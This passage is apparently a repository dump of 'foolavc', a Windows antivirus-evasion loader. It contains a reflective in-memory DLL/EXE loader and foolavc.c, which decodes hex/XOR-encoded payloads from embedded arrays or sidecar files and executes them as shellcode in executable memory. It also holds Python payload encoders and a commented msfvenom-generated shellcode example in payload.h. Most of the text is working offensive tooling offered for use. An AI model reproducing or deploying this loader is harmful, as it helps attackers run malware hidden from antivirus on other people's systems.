given as string 796 | TCHAR *endpos = NULL; 797 | long int tmpkey = (WORD)_tcstol((TCHAR *)&key[1], &endpos, 10); 798 | if (tmpkey <= 0xffff && lstrlen(endpos) == 0) { 799 | key = MAKEINTRESOURCE(tmpkey); 800 | } 801 | } 802 | 803 | // entries are stored as ordered list of named entries, 804 | // followed by an ordered list of id entries - we can do 805 | // a binary search to find faster... 806 | if (IS_INTRESOURCE(key)) { 807 | WORD check = (WORD)(uintptr_t)key; 808 | start = resources->NumberOfNamedEntries; 809 | end = start + resources->NumberOfIdEntries; 810 | 811 | while (end > start) { 812 | WORD entryName; 813 | middle = (start + end) >> 1; 814 | entryName = (WORD)entries[middle].Name; 815 | if (check < entryName) { 816 | end = (end != middle ? middle : middle - 1); 817 | } 818 | else if (check > entryName) { 819 | start = (start != middle ? middle : middle + 1); 820 | } 821 | else { 822 | result = &entries[middle]; 823 | break; 824 | } 825 | } 826 | } 827 | else { 828 | LPCWSTR searchKey; 829 | size_t searchKeyLen = _tcslen(key); 830 | #if defined(UNICODE) 831 | searchKey = key; 832 | #else 833 | // Resource names are always stored using 16bit characters, need to 834 | // convert string we search for. 835 | #define MAX_LOCAL_KEY_LENGTH 2048 836 | // In most cases resource names are short, so optimize for that by 837 | // using a pre-allocated array. 838 | wchar_t _searchKeySpace[MAX_LOCAL_KEY_LENGTH + 1]; 839 | LPWSTR _searchKey; 840 | if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) { 841 | size_t _searchKeySize = (searchKeyLen + 1) * sizeof(wchar_t); 842 | _searchKey = (LPWSTR)malloc(_searchKeySize); 843 | if (_searchKey == NULL) { 844 | SetLastError(ERROR_OUTOFMEMORY); 845 | return NULL; 846 | } 847 | } 848 | else { 849 | _searchKey = &_searchKeySpace[0]; 850 | } 851 | 852 | mbstowcs(_searchKey, key, searchKeyLen); 853 | _searchKey[searchKeyLen] = 0; 854 | searchKey = _searchKey; 855 | #endif 856 | start = 0; 857 | end = resources->NumberOfNamedEntries; 858 | while (end > start) { 859 | int cmp; 860 | PIMAGE_RESOURCE_DIR_STRING_U resourceString; 861 | middle = (start + end) >> 1; 862 | resourceString = (PIMAGE_RESOURCE_DIR_STRING_U)(((char *)root) + (entries[middle].Name & 0x7FFFFFFF)); 863 | cmp = _wcsnicmp(searchKey, resourceString->NameString, resourceString->Length); 864 | if (cmp == 0) { 865 | // Handle partial match 866 | cmp = searchKeyLen - resourceString->Length; 867 | } 868 | if (cmp < 0) { 869 | end = (middle != end ? middle : middle - 1); 870 | } 871 | else if (cmp > 0) { 872 | start = (middle != start ? middle : middle + 1); 873 | } 874 | else { 875 | result = &entries[middle]; 876 | break; 877 | } 878 | } 879 | #if !defined(UNICODE) 880 | if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) { 881 | free(_searchKey); 882 | } 883 | #undef MAX_LOCAL_KEY_LENGTH 884 | #endif 885 | } 886 | 887 | return result; 888 | } 889 | 890 | HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE module, LPCTSTR name, LPCTSTR type, WORD language) 891 | { 892 | unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase; 893 | PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_RESOURCE); 894 | PIMAGE_RESOURCE_DIRECTORY rootResources; 895 | PIMAGE_RESOURCE_DIRECTORY nameResources; 896 | PIMAGE_RESOURCE_DIRECTORY typeResources; 897 | PIMAGE_RESOURCE_DIRECTORY_ENTRY foundType; 898 | PIMAGE_RESOURCE_DIRECTORY_ENTRY foundName; 899 | PIMAGE_RESOURCE_DIRECTORY_ENTRY foundLanguage; 900 | if (directory->Size == 0) { 901 | // no resource table found 902 | SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND); 903 | return NULL; 904 | } 905 | 906 | if (language == DEFAULT_LANGUAGE) { 907 | // use language from current thread 908 | language = LANGIDFROMLCID(GetThreadLocale()); 909 | } 910 | 911 | // resources are stored as three-level tree 912 | // - first node is the type 913 | // - second node is the name 914 | // - third node is the language 915 | rootResources = (PIMAGE_RESOURCE_DIRECTORY)(codeBase + directory->VirtualAddress); 916 | foundType = _MemorySearchResourceEntry(rootResources, rootResources, type); 917 | if (foundType == NULL) { 918 | SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND); 919 | return NULL; 920 | } 921 | 922 | typeResources = (PIMAGE_RESOURCE_DIRECTORY)(codeBase + directory->VirtualAddress + (foundType->OffsetToData & 0x7fffffff)); 923 | foundName = _MemorySearchResourceEntry(rootResources, typeResources, name); 924 | if (foundName == NULL) { 925 | SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND); 926 | return NULL; 927 | } 928 | 929 | nameResources = (PIMAGE_RESOURCE_DIRECTORY)(codeBase + directory->VirtualAddress + (foundName->OffsetToData & 0x7fffffff)); 930 | foundLanguage = _MemorySearchResourceEntry(rootResources, nameResources, (LPCTSTR)(uintptr_t)language); 931 | if (foundLanguage == NULL) { 932 | // requested language not found, use first available 933 | if (nameResources->NumberOfIdEntries == 0) { 934 | SetLastError(ERROR_RESOURCE_LANG_NOT_FOUND); 935 | return NULL; 936 | } 937 | 938 | foundLanguage = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(nameResources + 1); 939 | } 940 | 941 | return (codeBase + directory->VirtualAddress + (foundLanguage->OffsetToData & 0x7fffffff)); 942 | } 943 | 944 | DWORD MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource) 945 | { 946 | PIMAGE_RESOURCE_DATA_ENTRY entry; 947 | UNREFERENCED_PARAMETER(module); 948 | entry = (PIMAGE_RESOURCE_DATA_ENTRY)resource; 949 | if (entry == NULL) { 950 | return 0; 951 | } 952 | 953 | return entry->Size; 954 | } 955 | 956 | LPVOID MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource) 957 | { 958 | unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase; 959 | PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY)resource; 960 | if (entry == NULL) { 961 | return NULL; 962 | } 963 | 964 | return codeBase + entry->OffsetToData; 965 | } 966 | 967 | int 968 | MemoryLoadString(HMEMORYMODULE module, UINT id, LPTSTR buffer, int maxsize) 969 | { 970 | return MemoryLoadStringEx(module, id, buffer, maxsize, DEFAULT_LANGUAGE); 971 | } 972 | 973 | int 974 | MemoryLoadStringEx(HMEMORYMODULE module, UINT id, LPTSTR buffer, int maxsize, WORD language) 975 | { 976 | HMEMORYRSRC resource; 977 | PIMAGE_RESOURCE_DIR_STRING_U data; 978 | DWORD size; 979 | if (maxsize == 0) { 980 | return 0; 981 | } 982 | 983 | resource = MemoryFindResourceEx(module, MAKEINTRESOURCE((id >> 4) + 1), RT_STRING, language); 984 | if (resource == NULL) { 985 | buffer[0] = 0; 986 | return 0; 987 | } 988 | 989 | data = (PIMAGE_RESOURCE_DIR_STRING_U)MemoryLoadResource(module, resource); 990 | id = id & 0x0f; 991 | while (id--) { 992 | data = (PIMAGE_RESOURCE_DIR_STRING_U)(((char *)data) + (data->Length + 1) * sizeof(WCHAR)); 993 | } 994 | if (data->Length == 0) { 995 | SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND); 996 | buffer[0] = 0; 997 | return 0; 998 | } 999 | 1000 | size = data->Length; 1001 | if (size >= (DWORD)maxsize) { 1002 | size = maxsize; 1003 | } 1004 | else { 1005 | buffer[size] = 0; 1006 | } 1007 | #if defined(UNICODE) 1008 | wcsncpy(buffer, data->NameString, size); 1009 | #else 1010 | wcstombs(buffer, data->NameString, size); 1011 | #endif 1012 | return size; 1013 | } -------------------------------------------------------------------------------- /foolavc/MemoryModule.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Memory DLL loading code 3 | * Version 0.0.4 4 | * 5 | * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de 6 | * http://www.joachim-bauch.de 7 | * 8 | * The contents of this file are subject to the Mozilla Public License Version 9 | * 2.0 (the "License"); you may not use this file except in compliance with 10 | * the License. You may obtain a copy of the License at 11 | * http://www.mozilla.org/MPL/ 12 | * 13 | * Software distributed under the License is distributed on an "AS IS" basis, 14 | * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License 15 | * for the specific language governing rights and limitations under the 16 | * License. 17 | * 18 | * The Original Code is MemoryModule.h 19 | * 20 | * The Initial Developer of the Original Code is Joachim Bauch. 21 | * 22 | * Portions created by Joachim Bauch are Copyright (C) 2004-2015 23 | * Joachim Bauch. All Rights Reserved. 24 | * 25 | */ 26 | 27 | #ifndef __MEMORY_MODULE_HEADER 28 | #define __MEMORY_MODULE_HEADER 29 | 30 | #include 31 | 32 | typedef void *HMEMORYMODULE; 33 | 34 | typedef void *HMEMORYRSRC; 35 | 36 | typedef void *HCUSTOMMODULE; 37 | 38 | #ifdef __cplusplus 39 | extern "C" { 40 | #endif 41 | 42 | typedef LPVOID(*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*); 43 | typedef BOOL(*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*); 44 | typedef HCUSTOMMODULE(*CustomLoadLibraryFunc)(LPCSTR, void *); 45 | typedef FARPROC(*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *); 46 | typedef void(*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *); 47 | 48 | /** 49 | * Load EXE/DLL from memory location with the given size. 50 | * 51 | * All dependencies are resolved using default LoadLibrary/GetProcAddress 52 | * calls through the Windows API. 53 | */ 54 | HMEMORYMODULE MemoryLoadLibrary(const void *, size_t); 55 | 56 | /** 57 | * Load EXE/DLL from memory location with the given size using custom dependency 58 | * resolvers. 59 | * 60 | * Dependencies will be resolved using passed callback methods. 61 | */ 62 | HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t, 63 | CustomAllocFunc, 64 | CustomFreeFunc, 65 | CustomLoadLibraryFunc, 66 | CustomGetProcAddressFunc, 67 | CustomFreeLibraryFunc, 68 | void *); 69 | 70 | /** 71 | * Get address of exported method. Supports loading both by name and by 72 | * ordinal value. 73 | */ 74 | FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR); 75 | 76 | /** 77 | * Free previously loaded EXE/DLL. 78 | */ 79 | void MemoryFreeLibrary(HMEMORYMODULE); 80 | 81 | /** 82 | * Execute entry point (EXE only). The entry point can only be executed 83 | * if the EXE has been loaded to the correct base address or it could 84 | * be relocated (i.e. relocation information have not been stripped by 85 | * the linker). 86 | * 87 | * Important: calling this function will not return, i.e. once the loaded 88 | * EXE finished running, the process will terminate. 89 | * 90 | * Returns a negative value if the entry point could not be executed. 91 | */ 92 | int MemoryCallEntryPoint(HMEMORYMODULE); 93 | 94 | /** 95 | * Find the location of a resource with the specified type and name. 96 | */ 97 | HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR); 98 | 99 | /** 100 | * Find the location of a resource with the specified type, name and language. 101 | */ 102 | HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD); 103 | 104 | /** 105 | * Get the size of the resource in bytes. 106 | */ 107 | DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC); 108 | 109 | /** 110 | * Get a pointer to the contents of the resource. 111 | */ 112 | LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC); 113 | 114 | /** 115 | * Load a string resource. 116 | */ 117 | int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int); 118 | 119 | /** 120 | * Load a string resource with a given language. 121 | */ 122 | int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD); 123 | 124 | /** 125 | * Default implementation of CustomAllocFunc that calls VirtualAlloc 126 | * internally to allocate memory for a library 127 | * 128 | * This is the default as used by MemoryLoadLibrary. 129 | */ 130 | LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *); 131 | 132 | /** 133 | * Default implementation of CustomFreeFunc that calls VirtualFree 134 | * internally to free the memory used by a library 135 | * 136 | * This is the default as used by MemoryLoadLibrary. 137 | */ 138 | BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *); 139 | 140 | /** 141 | * Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA 142 | * internally to load an additional libary. 143 | * 144 | * This is the default as used by MemoryLoadLibrary. 145 | */ 146 | HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *); 147 | 148 | /** 149 | * Default implementation of CustomGetProcAddressFunc that calls GetProcAddress 150 | * internally to get the address of an exported function. 151 | * 152 | * This is the default as used by MemoryLoadLibrary. 153 | */ 154 | FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *); 155 | 156 | /** 157 | * Default implementation of CustomFreeLibraryFunc that calls FreeLibrary 158 | * internally to release an additional libary. 159 | * 160 | * This is the default as used by MemoryLoadLibrary. 161 | */ 162 | void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *); 163 | 164 | #ifdef __cplusplus 165 | } 166 | #endif 167 | 168 | #endif // __MEMORY_MODULE_HEADER -------------------------------------------------------------------------------- /foolavc/foolavc.c: -------------------------------------------------------------------------------- 1 | 2 | // foolavc 1.0 3 | 4 | #include 5 | 6 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | //#include 13 | #include 14 | #include 15 | 16 | #include "MemoryModule.h" 17 | 18 | #include "payload.h" 19 | 20 | #define F_OK 0 21 | 22 | BOOL hd(char* pszChar) 23 | { 24 | // check if character at which pszChar is pointing is hexdecimal 25 | return ((*pszChar >= 'a' && *pszChar <= 'f') 26 | || (*pszChar >= 'A' && *pszChar <= 'F') 27 | || (*pszChar >= '0' && *pszChar <= '9')); 28 | } 29 | 30 | char* join(char** data, size_t rows) 31 | { 32 | size_t len = 0; 33 | size_t i; 34 | for (i = 0; i < rows; i++) 35 | { 36 | len += strlen(data[i]); 37 | } 38 | char *pszBuf = malloc(len + 1); 39 | size_t index = 0; 40 | for (i = 0; i < rows; i++) 41 | { 42 | size_t rowlen = strlen(data[i]); 43 | memcpy_s(pszBuf + index, len - index, data[i], rowlen); 44 | index += rowlen; 45 | } 46 | *(pszBuf + index) = '\0'; 47 | return pszBuf; 48 | } 49 | 50 | char* parsePayload(char* pszF, size_t nF, BYTE xorByte, BYTE bytesPerChar, size_t* size) 51 | { 52 | char* pszScan = malloc(4 + 1); 53 | memset(pszScan, 0, 4 + 1); 54 | char* pszBuf = malloc(nF + 1); 55 | unsigned int i = 0, j = 0; 56 | switch (bytesPerChar) 57 | { 58 | case 4: 59 | for (;;) 60 | { 61 | if (i + 4 <= nF && *(pszF + i) == '\\' && *(pszF + i + 1) == 'x' 62 | && hd(pszF + i + 2) && hd(pszF + i + 3)) 63 | { 64 | // parse "\x[hex]" sequences 65 | pszScan[0] = *(pszF + i + 2); 66 | pszScan[1] = *(pszF + i + 3); 67 | sscanf_s(pszScan, "%2x", (unsigned int*)(pszBuf + j)); 68 | // (optional) xor payload with first character of executable name 69 | //pszBuf[j] ^= pszNoextArgv0[0]; 70 | pszBuf[j] ^= xorByte; 71 | j += 1; 72 | i += 4; 73 | } 74 | else 75 | { 76 | // ignore anything else 77 | i += 1; 78 | } 79 | if (*(pszF + i) == '\0') 80 | { 81 | break; 82 | } 83 | } 84 | break; 85 | case 2: 86 | for (;;) 87 | { 88 | if (i + 2 <= nF && hd(pszF + i) && hd(pszF + i + 1)) 89 | { 90 | // parse "[hex]" sequences 91 | pszScan[0] = *(pszF + i); 92 | pszScan[1] = *(pszF + i + 1); 93 | sscanf_s(pszScan, "%2x", (unsigned int*)(pszBuf + j)); 94 | // (optional) xor payload with first character of executable name 95 | //pszBuf[j] ^= pszNoextArgv0[0]; 96 | pszBuf[j] ^= xorByte; 97 | j += 1; 98 | i += 2; 99 | } 100 | else 101 | { 102 | // ignore anything else 103 | i += 1; 104 | } 105 | if (*(pszF + i) == '\0') 106 | { 107 | break; 108 | } 109 | } 110 | break; 111 | default: 112 | return NULL; 113 | } 114 | *(pszBuf + j) = '\0'; 115 | //printf("\n%s (%d)", pszBuf, j); 116 | 117 | *size = j; 118 | return pszBuf; 119 | } 120 | 121 | char* readfile(const char* pszFilename, const char* pszExt, BYTE xorByte, BYTE bytesPerChar, const char* pszKind, size_t* size) 122 | { 123 | // get argv[0] 124 | //unsigned int nArgv0 = MAX_PATH; 125 | //char* pszArgv0 = malloc(nArgv0 + 2); 126 | //memset(pszArgv0, 0, nArgv0 + 2); 127 | //GetModuleFileName(hInstance, pszArgv0, nArgv0); 128 | //printf("%s\n", pszArgv0); 129 | const char* pszArgv0 = pszFilename; 130 | 131 | // get basename point 132 | size_t nPathArgv0; 133 | const char* pszBaseArgv0 = strrchr(pszArgv0, '\\'); 134 | if (pszBaseArgv0 == NULL) 135 | { 136 | nPathArgv0 = 0; 137 | pszBaseArgv0 = pszArgv0; 138 | } 139 | else 140 | { 141 | nPathArgv0 = pszBaseArgv0 - pszArgv0 + 1; 142 | pszBaseArgv0++; 143 | } 144 | //printf("%s\n", pszBaseArgv0); 145 | 146 | // absolute or relative path provided? 147 | char* pszPathArgv0; 148 | if (nPathArgv0 != 0) 149 | { 150 | pszPathArgv0 = malloc(nPathArgv0 + 2); 151 | memset(pszPathArgv0, 0, nPathArgv0 + 2); 152 | memcpy(pszPathArgv0, pszArgv0, nPathArgv0); 153 | //printf("%s (%d)\n", pszPathArgv0, nPathArgv0); 154 | SetCurrentDirectoryA(pszPathArgv0); 155 | } 156 | 157 | // get rid of eventual .exe extension 158 | char* pszExeExt = ".exe"; 159 | size_t nNoextArgv0; 160 | nNoextArgv0 = strlen(pszBaseArgv0); 161 | if (strncmp(pszBaseArgv0 + nNoextArgv0 - 4, pszExeExt, 4) == 0) 162 | { 163 | nNoextArgv0 -= 4; 164 | } 165 | 166 | // get basename without exe 167 | char* pszNoextArgv0 = malloc(nNoextArgv0 + 2); 168 | memset(pszNoextArgv0, 0, nNoextArgv0 + 2); 169 | memcpy(pszNoextArgv0, pszBaseArgv0, nNoextArgv0); 170 | //printf("%s\n", pszNoextArgv0); 171 | 172 | // append new extension 173 | //char* pszMfExt = ".mf"; 174 | const char* pszMfExt = pszExt; 175 | size_t nMfExt = strlen(pszMfExt); 176 | size_t nMf = nNoextArgv0 + nMfExt; 177 | char* pszMf = malloc(nMf + 2); 178 | memset(pszMf, 0, nMf + 2); 179 | memcpy(pszMf, pszNoextArgv0, nNoextArgv0); 180 | memcpy(pszMf + nNoextArgv0, pszMfExt, nMfExt); 181 | //printf("%s\n", pszMf); 182 | 183 | // read file contents 184 | FILE *f; 185 | unsigned long nF; 186 | char* pszF = NULL; 187 | if (_access(pszMf, F_OK) != -1 && fopen_s(&f, pszMf, "rb") == 0) 188 | { 189 | fseek(f, 0, SEEK_END); 190 | nF = ftell(f); 191 | fseek(f, 0, SEEK_SET); 192 | pszF = malloc(nF + 1); 193 | fread(pszF, nF, 1, f); 194 | fclose(f); 195 | pszF[nF] = '\0'; 196 | printf("[ ] %s - successful read into memory (assuming data type: %s)\n", pszMf, pszKind); 197 | } 198 | else 199 | { 200 | printf("[!] %s - file not found!\n", pszMf); 201 | return NULL; 202 | } 203 | 204 | if (pszF != NULL) 205 | { 206 | // parse payload 207 | char* pszBuf = parsePayload(pszF, nF, xorByte, bytesPerChar, size); 208 | free(pszF); 209 | return pszBuf; 210 | } 211 | else 212 | { 213 | return NULL; 214 | } 215 | } 216 | 217 | VOID loadDLL(HLOCAL text, SIZE_T size) 218 | { 219 | HMEMORYMODULE hPEModule = MemoryLoadLibrary(text, size); 220 | if (hPEModule != NULL) 221 | { 222 | printf("[*] DLL loaded into memory!\n"); 223 | MemoryFreeLibrary(hPEModule); 224 | } 225 | else 226 | { 227 | printf("[!] DLL failed to load into memory!\n"); 228 | } 229 | } 230 | 231 | VOID loadAndExecuteEXE(HLOCAL text, SIZE_T size) 232 | { 233 | HMEMORYMODULE hPEModule = MemoryLoadLibrary(text, size); 234 | if (hPEModule != NULL) 235 | { 236 | printf("[*] EXE loaded into memory!\n"); 237 | if (MemoryCallEntryPoint(hPEModule) >= 0) 238 | { 239 | // process is replaced 240 | } 241 | else 242 | { 243 | printf("[!] Failed to execute!\n"); 244 | } 245 | MemoryFreeLibrary(hPEModule); 246 | } 247 | } 248 | 249 | VOID runShellcode(HLOCAL text, SIZE_T size) 250 | { 251 | PVOID p = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 252 | memcpy(p, text, size); 253 | HANDLE h = CreateThread(0, 0, p, 0, 0, NULL); 254 | WaitForSingleObject(h, -1); 255 | } 256 | 257 | //INT APIENTRY _tWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ INT nCmdShow) 258 | INT main(INT argc, LPCSTR argv[], LPCSTR envp[]) 259 | { 260 | HLOCAL text; 261 | SIZE_T size; 262 | char* x; 263 | 264 | // dynamic link library payload variable present? 265 | if (xl[0] != NULL) 266 | { 267 | x = join(xl, sizeof(xl) / sizeof(*xl)); 268 | text = parsePayload(x, strlen(x), 0, 2, &size); 269 | if (text != NULL) 270 | { 271 | // load from memory 272 | loadDLL(text, size); 273 | LocalFree(text); 274 | } 275 | free(x); 276 | system("pause"); 277 | return EXIT_SUCCESS; 278 | } 279 | 280 | // executable payload variable present? 281 | if (xe[0] != NULL) 282 | { 283 | x = join(xe, sizeof(xe) / sizeof(*xe)); 284 | text = parsePayload(x, strlen(x), 0, 2, &size); 285 | if (text != NULL) 286 | { 287 | // load and execute from memory 288 | loadAndExecuteEXE(text, size); 289 | LocalFree(text); 290 | } 291 | free(x); 292 | system("pause"); 293 | return EXIT_SUCCESS; 294 | } 295 | 296 | // shellcode payload variable present? 297 | if (xf[0] != NULL) 298 | { 299 | x = join(xf, sizeof(xf) / sizeof(*xf)); 300 | text = parsePayload(x, strlen(x), 0, 2, &size); 301 | if (text != NULL) 302 | { 303 | // execute shellcode in separate thread 304 | runShellcode(text, size); 305 | LocalFree(text); 306 | } 307 | free(x); 308 | system("pause"); 309 | return EXIT_SUCCESS; 310 | } 311 | 312 | // dynamic link library payload file present? 313 | text = readfile(argv[0], ".ml", 0, 4, "DLL", &size); 314 | if (text != NULL) 315 | { 316 | // load from memory 317 | loadDLL(text, size); 318 | LocalFree(text); 319 | system("pause"); 320 | return EXIT_SUCCESS; 321 | } 322 | printf("\n"); 323 | 324 | // executable payload file present? 325 | text = readfile(argv[0], ".me", 0, 4, "exe", &size); 326 | if (text != NULL) 327 | { 328 | // load and execute from memory 329 | loadAndExecuteEXE(text, size); 330 | LocalFree(text); 331 | system("pause"); 332 | return EXIT_SUCCESS; 333 | } 334 | printf("\n"); 335 | 336 | // shellcode payload file present? 337 | text = readfile(argv[0], ".mf", 0, 4, "shellcode", &size); 338 | if (text != NULL) 339 | { 340 | // execute shellcode in separate thread 341 | runShellcode(text, size); 342 | LocalFree(text); 343 | system("pause"); 344 | return EXIT_SUCCESS; 345 | } 346 | printf("\n"); 347 | 348 | //system("pause"); 349 | return EXIT_SUCCESS; 350 | } 351 | -------------------------------------------------------------------------------- /foolavc/foolavc.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {2536D1B8-D02E-41DF-8E4E-2FDEC848768D} 23 | Win32Proj 24 | foolavc 25 | 8.1 26 | 27 | 28 | 29 | Application 30 | true 31 | v140_xp 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v140_xp 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v140_xp 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v140_xp 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | NotUsing 87 | Level3 88 | Disabled 89 | WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) 90 | ProgramDatabase 91 | MultiThreaded 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | NotUsing 101 | Level3 102 | Disabled 103 | _DEBUG;_WINDOWS;%(PreprocessorDefinitions) 104 | ProgramDatabase 105 | MultiThreaded 106 | 107 | 108 | Console 109 | true 110 | 111 | 112 | 113 | 114 | Level3 115 | NotUsing 116 | MaxSpeed 117 | true 118 | true 119 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 120 | MultiThreaded 121 | 122 | 123 | Console 124 | true 125 | true 126 | No 127 | 128 | 129 | 130 | 131 | Level3 132 | NotUsing 133 | MaxSpeed 134 | true 135 | true 136 | NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 137 | MultiThreaded 138 | 139 | 140 | Console 141 | true 142 | true 143 | No 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | -------------------------------------------------------------------------------- /foolavc/foolavc.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /foolavc/foolavc.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /foolavc/payload.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // encode using x-encode.py 4 | 5 | // dll 6 | char *xl[] = { NULL }; 7 | 8 | // executable 9 | char *xe[] = { NULL }; 10 | 11 | // shellcode 12 | char *xf[] = { NULL }; 13 | 14 | // calc (x86) example: 15 | // $ msfvenom -p windows/exec CMD=calc.exe -f raw >calc_x86 16 | // $ cat calc_x86 | python x-encode.py xf 0 17 | 18 | // xorbyte = 0 19 | 20 | //char *xf[] = { 21 | //"fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c02", 22 | //"2c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e3", 23 | //"3a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b", 24 | //"0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d", 25 | //"85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb", 26 | //"4713726f6a0053ffd563616c632e65786500", 27 | //}; 28 | -------------------------------------------------------------------------------- /m-encode.py: -------------------------------------------------------------------------------- 1 | import os,sys 2 | 3 | if len(sys.argv) == 1: 4 | sys.stderr.write(f'Usage: {sys.argv[0]} [files...]\n') 5 | sys.exit(1) 6 | 7 | for i in sys.argv[1:]: 8 | if os.path.exists(i): 9 | ext = i.split('.')[-1] 10 | filename = '.'.join(i.split('.')[:-1]) 11 | extensions = dict(exe='me', dll='ml') 12 | if ext in extensions.keys(): 13 | filename += f'.{extensions[ext]}' 14 | else: 15 | filename += '.mf' 16 | with open(filename,'w') as f: 17 | f.write(''.join(map(lambda x: f'\\x{x:02x}', list(open(i,'rb').read())))) 18 | print(f'{filename} saved.') 19 | -------------------------------------------------------------------------------- /x-encode.py: -------------------------------------------------------------------------------- 1 | import os,sys 2 | 3 | if len(sys.argv) < 3: 4 | sys.stderr.write('Usage:\n cat payload | {} \n'.format(sys.argv[0])) 5 | sys.exit(1) 6 | 7 | variable_name = sys.argv[1] 8 | xorbyte = int(sys.argv[2]) 9 | 10 | payload = ''.join(map(lambda x: '{:02x}'.format(ord(x) ^ xorbyte), list(sys.stdin.read()))) 11 | 12 | sys.stdout.write('// xorbyte = {}\n\n'.format(xorbyte)) 13 | sys.stdout.write('char* {}[] = {{\n'.format(variable_name)) 14 | index = 0 15 | payload_length = len(payload) 16 | step = 70 17 | while index < payload_length: 18 | sys.stdout.write('"{}",\n'.format(payload[index:index+step])) 19 | index += step 20 | sys.stdout.write('};\n'); 21 | -------------------------------------------------------------------------------- /x64/Release/example-payloads-x86_64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hvqzao/foolavc/629bf3e506c0cb6b7717a83026f8d48ddcf7de5f/x64/Release/example-payloads-x86_64.zip -------------------------------------------------------------------------------- /x64/Release/foolavc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hvqzao/foolavc/629bf3e506c0cb6b7717a83026f8d48ddcf7de5f/x64/Release/foolavc.exe -------------------------------------------------------------------------------- /x64/Release/foolavc.iobj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hvqzao/foolavc/629bf3e506c0cb6b7717a83026f8d48ddcf7de5f/x64/Release/foolavc.iobj -------------------------------------------------------------------------------- /x64/Release/foolavc.ipdb: -------------------------------------------------------------------------------- 